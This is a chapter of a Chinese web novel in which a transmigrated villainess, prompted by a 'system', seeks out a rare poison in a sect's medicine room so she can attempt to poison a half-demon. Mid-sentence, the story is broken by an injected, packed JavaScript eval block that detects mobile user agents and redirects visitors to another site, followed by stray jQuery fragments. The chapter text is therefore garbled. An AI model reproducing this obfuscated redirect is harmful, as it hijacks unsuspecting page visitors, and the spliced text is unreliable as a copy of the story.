第 33 章 只要裴褚崖死了,...

作品:《怎么都在觊觎万人嫌反派?!

    第33章只要裴褚崖死了,


    接收到任务后,楚念声粗略翻了下剧本。


    原本这段剧情是连柯玉为了报复原反派抢夺灵石,故意将她骗去地妖陷阱。她再向地妖求饶,许诺会带来妖气更充沛的“食物”,最后想方设法骗来裴褚崖,以此换取生路。


    但现在剧情有变,时间线也跟着变了。


    按原剧情,这会儿她应该刚说出自己被连柯玉骗入地妖陷阱,并故意隐瞒了陷害裴褚崖的事。


    不过原反派也从戒律堂长老和弟子的态度中,隐约察觉到他们在怀疑自己。又听闻山神动怒,焦灼与惧怕的双重折磨下,她竟然头昏到打算毒杀裴褚崖。


    或是已经失去理智,她想得格外简单:只要裴褚崖死了,就没人会发现她陷害他的事。


    可现在呢?


    楚念声盯着玉佩上的血迹,沉思。


    现在山神都已经降下神识,她也成功蒙混过关,那她毒杀裴褚崖的理由是……?


    “这也是必做任务?”她有些不耐烦,“我看这书上写,掺毒的茶刚端上来,裴褚崖就发现不对劲了,最后根本没喝。你要让我做这么蠢的事,还不如叫我去死!”


    原反派只想着下毒,却忘了裴褚崖的身份——妖、灵双修的半妖。


    妖族常用灵力压制妖态,因为戒律堂准许他保留部分灵力,用以维持人形。所以刚闻见茶香,他就能探到茶里的毒。


    既然是一场注定失败的毒杀,她干嘛要费尽心思去做?


    系统耐心解释:“这段剧情是裴褚崖对宿主起杀心的关键转折点。”


    楚念声了然。


    所以毒杀虽然失败,裴褚崖却将从这里开始对她彻底厌恨。


    做这任务,八成是为了确保日后他会拿她给邪剑开刃。


    除了下毒,她还有另一件要紧事——取回邪气。


    不过楚霁云不见了踪影,她一时半会儿找不着他,只能暂且搁置。


    照原文来看,原反派光是在戒律堂找毒药就找了大半晚上,最终也没提她究竟是在哪儿找到了药。


    她才不肯费这力气,直接大摇大摆地出了门,找到一处人最多的地方——茶室。


    六七个弟子围坐在茶香袅袅的房间里,七嘴八舌地聊着山神降下


    神识的事。


    楚念声一进门,话音戛然而止,众人纷纷望过来。


    聊得最起兴的一个瘦高个儿一眼认出她,猛然站起身,神情兴奋地望着她:“你是楚师妹?是来找楚师兄吗?他已经走了——诸位,这位是楚霁云楚师兄的妹妹,今日她——


    “你过来。楚念声突然打断他,盯准缩在角落里的蒲令一。


    她最不喜旁人介绍她时,还得扯上是哪家的女儿,或是谁的妹妹。明明有名有姓的,直接介绍名字不成?


    瘦高个儿笑容凝住,看清她在指谁后,脸色不由一僵。


    不光他,其他弟子的神情也都多少有些古怪。


    蒲令一慢吞吞抬起圆脸,疑惑似的指了下自己:“我?


    楚念声:“……


    这人怎么不止像含羞草,还跟她养在兽园子里的乌龟一样。


    她点头:“蒲师姐,我要洗澡。不能用灵术,不知道在哪儿打水。


    “哦,哦!蒲令一将手里的书一卷,塞进衣袖里,扶着墙站起身,低着脑袋往前走。


    没走两步,一条胳膊从旁伸出,拦住她的去路。


    她顺着胳膊朝左看,瞄着张瘦到往里凹的脸。


    是那瘦高个儿。


    他收回手,从头到尾没正眼瞧她一眼,始终盯着楚念声。


    “楚师妹,他好心提醒,“你初来乍到,有些事应该还不清楚,她啊,是瘟——


    “你烦不烦?楚念声蹙眉打断,“我现在就想尽快洗漱,还是说你来帮我打水?


    “这——


    “还不走?楚念声瞥一眼蒲令一,学着她慢吞吞喊了声,“蒲师姐。


    语速放得慢,蒲令一却莫名听出点儿戏谑味,她捏了两下烫烘烘的耳垂,埋头应了声。


    等不紧不慢地洗漱完,楚念声才打算开始找药。


    她问:“你是这戒律堂的弟子?


    蒲令一摇头,声音很轻:“我是医谷弟子。


    “医谷?那跑来这戒律堂做什么。


    “这里差帮手,就来跑跑腿,顺便也能赚些灵石。蒲令一咽了下喉咙,或许是天黑,头也跟着昏沉,她竟莫名生出些倾诉欲,“也好买些药材,用来制药。


    但楚念声对这些


    不感兴趣,只“哦”了声。


    蒲令一便又低下脑袋,手指反复捋着打湿了的袖口,说:“既然师妹已经洗漱完了,那我便先走了。”


    “等等,”楚念声问,“师姐你经常来这戒律堂吗,知不知道这里的药都放在哪儿?”


    药?


    蒲令一愣住,随即想到她很可能是觉得她制的药没效,所以想另外找些。


    心一下变得空落落的,她的脸瞬间白了下去。


    她就知道……


    没事,没事。


    早应该习惯的。


    她扯开有些发麻的嘴唇,自顾自点点头:“知道,你跟我来。”


    蒲令一带她去了戒律堂后面的药房。


    这里至多放些应急的药,位置偏僻,平常根本没人看守。


    她推开门,说:“止血镇痛的药在左边柜子从下往上数第二排的第五个抽屉里。”


    楚念声大惊:“你嘴皮子怎么突然这么溜了。”


    蒲令一勉强扯开个笑:“嗯。”


    “但我不找这个。”楚念声往里探头,“这里面有毒药吗?”


    蒲令一愣住:“师妹缘何要找毒药?”


    不是要另找止血镇痛的药吗?


    “就想看看。”楚念声张口就开始扯胡话,“听人说这戒律堂藏了不少毒药,有些还是天下绝有的奇毒。但你看这房门口连道禁制都没设,真能把毒药藏这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111041|164047||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    儿?”


    蒲令一的脸色瞬间变得严肃:“虽然没有禁制,但这些药物都登记在册,药瓶上也都施了法术。一旦携药离开戒律堂,定会被执法长老知晓。”


    那没事。


    她就在这戒律堂里面用。


    况且裴褚崖定会察觉,也根本起不了药效。


    想了想,楚念声道:“我看蒲师姐你对这药房了解挺深。”


    蒲令一攥紧手,有些不自在地垂下眼:“常来。”


    楚念声猜她是常来送药,毕竟是医谷弟子嘛。


    她又问:“那师姐知道这药房里,哪一味毒药毒效最重吗?”


    虽说八成用不上,可既然要让裴褚崖记恨她,那肯定得用最毒的药。


    蒲令一的话难得多了些:“没有最字之说,不同药用在不同人身上,毒效也有差异。譬如断肠散,凡人服用便


    会受尽痛苦,最终身亡。但对高阶修士来说,并无效用,一些邪修甚至能将其当作修炼用的丹药吞服;再如凝血丹,修士服用,十有八九会暴毙身亡,可于妖族而言,也没什么效。”


    楚念声点点头:“妖族不怕那什么凝血丹,那怕什么?”


    蒲令一思忖片刻:“蝎毒应算其中之一。”


    “蝎毒?”楚念声不禁觉得奇怪,“什么妖都怕这蝎子的毒?”


    “不,并非是蝎子的毒。”蒲令一低头盯着地面,如数家珍地说,“而是融合了不少毒药,毒性极大,会逼得妖气在经脉中横冲直撞,最终融化妖丹,沦为无法化形的普通动物,再受尽折磨而亡,连尸骨都会被腐蚀殆尽。”


    许是想到尸骨融化的光景,她只觉心惊,停顿了一瞬,才接着往下说:“不过对一些妖灵双修的妖族来说,效果又有不同。也会逼出妖形,但因为此类妖的体内有灵脉,倒不至于损害妖丹,至多令其失去理智,一切言行都顺心而为——因此这类药也常用于审问修灵的妖囚,楚师妹你——”


    她边说边抬头,却发现眼前已经空无一人。


    蒲令一怔住,随后踩上台阶。


    脑袋往房里一伸,她便看见楚念声站在一堆瓶瓶罐罐面前,耐心找着什么。


    “楚师妹?”她将声音拔高了些。


    “在这儿在这儿,这也太黑了,根本看不清字,早知道就该带盏灯。”楚念声偏过头看她,“蒲师姐,你知道那蝎毒在哪儿吗?”


    “你找蝎毒做什么?”


    “我……”楚念声顿了下,素来张扬的眉眼间渐沉进笑,“就想看看,你不是说和一般的蝎毒不一样么,好歹也让我瞧一眼这稀罕东西——该不会里面塞了些乱七八糟的毒虫吧?就和泡药酒一样。”


    “那倒不曾。”蒲令一熟稔地从架上取下个黑瓷瓶子,“不过是毒发时,浑身皮肉都感觉如有蝎尾蜇刺,便取了这么个名——你瞧,连色泽都白净如水,气味较之寻常毒药也并不算浓烈。”


    楚念声接过黑瓷瓶,若有所思地盯着瓶中微晃的水面。


    作者有话要说